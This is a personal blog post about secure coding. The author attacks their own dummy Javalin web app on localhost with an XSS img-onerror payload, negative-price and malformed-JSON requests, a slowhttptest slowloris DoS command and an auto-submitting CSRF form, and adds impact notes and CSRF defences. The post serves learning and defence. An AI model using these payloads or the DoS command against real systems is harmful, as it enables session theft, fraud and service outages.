Learning About Secure Coding Practices & Exploitation Like a Hacker 🧨🕵️‍♂️💻
Hi peeps! It’s been a while since my last post. Another weekend, another round of learning—as usual. I’ve been exploring secure coding practices, and decided to play the villain by trying to exploit our dummy web app.
It’s a fun journey as always—documenting my learning so I (and maybe you) can come back to these little knowledge sprinkles in the future. Before we start Exploitation, Please clone the webapp project from my Git repo:
git clone https://gitea.arulbalaji.xyz/arul/fullstack_practice.git
Let’s start Hacking !!! with a Evil Grin. oohh.. Takes my Black Hoodie. Lets start now..
🧨 Exploit 1: XSS Injection via Product Name
curl -X POST http://localhost:7070/purchase \
-H "Content-Type: application/json" \
-d '{"product": "<img src=x onerror=alert(`XSS`)>", "price": 99.99}'
Goal: Once we list the products in UI that lists product names (or if the data is reused anywhere later), this will trigger our malicious JavaScript execution in the browser.
Technical:
Malicious JavaScript in product names runs in users’ browsers when rendered unsafely (e.g., via innerHTML). Can steal cookies, hijack sessions, deface UI.
Business: Loss of user trust, data breaches, legal fines, and reputation hit.
🧨 Exploit 2: Negative Pricing (Business Logic Abuse)
curl -X POST http://localhost:7070/purchase \
-H "Content-Type: application/json" \
-d '{"product": "discount_hack", "price": -1000000}'
Goal:
/total endpoint will report negative total profit. This is logic abuse.
If your system later used profit to calculate metrics like commission or tax, it’d fail.
Technical: App accepts negative prices, corrupting profit calculations, reports, and downstream workflows (tax, commissions).
Business: Fraud risk, financial inaccuracies, wrong business decisions, and audit exposure.
đź’Ą Exploit 3: Type Juggling / Logic Injection
curl -X POST http://localhost:7070/purchase \
-H "Content-Type: application/json" \
-d '{"product": {"$gt": ""}, "price": "1 OR 1=1"}'
When the server returns something like:
{
"title": "Server Error",
"status": 500,
"type": "https://javalin.io/documentation#internalservererrorresponse",
"details": {}
}
Goal:
- Gather information by provoking the system to throw detailed errors.
- Sometimes, attackers slip malicious logic into inputs, which could trigger unexpected behavior.
Thankfully the server dont accept such. but still it displays important information that helps hacker to learn about the system. The Exception message reveals that the backend uses Javalin, which hints at a Java-based server—helpful for tailoring further attacks.
Technical:
- No schema or type validation means attackers can send malformed JSON with weird data types or values.
- This can crash the app (500 errors), cause unexpected behavior, or in bigger systems, trick business logic (e.g.,
pricestring like"1 OR 1=1"). - While your app crashes here, a less strict app could let malicious logic slip through.
Business:
- Service outages (crashes) causing downtime and lost revenue.
- Data corruption or wrong calculations affecting decision-making.
- Potential info leakage or privilege escalation in complex apps.
🚨 Exploit 4: Denial of Service with slow loris attack (DoS)
$ slowhttptest -c 65535 -H -g -o slow_log -i 10 -r 500 -t POST -u http://localhost:8080/purchase -x 24 -p 3 -s 3
Output:
-----------Slow loris failed ----------------------------
│80/purchase -x 24 -p 3 -s 3 │:8080/purchase -x 24 -p 3 -s 3
Sat Aug 2 13:17:00 2025: │ │
slow HTTP test status on 10th second: │ │
│ │
initializing: 0 │ │
pending: 1 │ │
connected: 0 │ │
error: 0 │ │
closed: 746 │ │
service available: NO
-----------------------------------------------------------------
Goal:
This is one type of DoS (Denial of Service) attack sending multiple request slowly making it wait for 10 seconds, Hence its called slowloris attack. but javalin blocks slow connections for security by default. so that the service wont be slow or halted. As you see service available: No
While our webapp is still running. it actively blocking one client (User) who has this slow connection.
Technical:
- No payload size limits or rate limiting.
- Attacker sends huge JSON data forcing Javalin and SQLite to consume tons of memory/CPU.
- This can slow or crash the server.
Business:
- App downtime, lost customers, degraded performance.
- Increased infrastructure and support costs.
- Opens distractions for attackers to do more damage.
🧨 Exploit 5: CSRF Attack (No Auth + Open POST)
Our webapp currently does not use CSRF tokens or SameSite cookies, so it is vulnerable.
Host this HTML page locally:
<form action="http://localhost:8080/purchase" method="POST">
<input type="hidden" name="product" value="csrf_exploit">
<input type="hidden" name="price" value="666">
</form>
<script>
document.forms[0].submit();
</script>
Goal: The above code is to mimic a Malicious site. If you visit this in your browser while your server is running, the purchase will go through without your consent.
Because we didn’t implement CSRF protection, here’s what a secure app with CSRF protection would typically do:
-
CSRF tokens – Unique tokens per user/session that must be submitted with requests. These are generated only on the original site, not from other sites.
-
SameSite cookies – Limit when cookies are sent cross-site. Cookies are valid only in the original site.
-
Checking the Origin or Referer headers – Verifies if the POST request is made from the original website.
Hope it was fun putting on the villain’s mask today. Keep learning. Keep vibing. 💻💥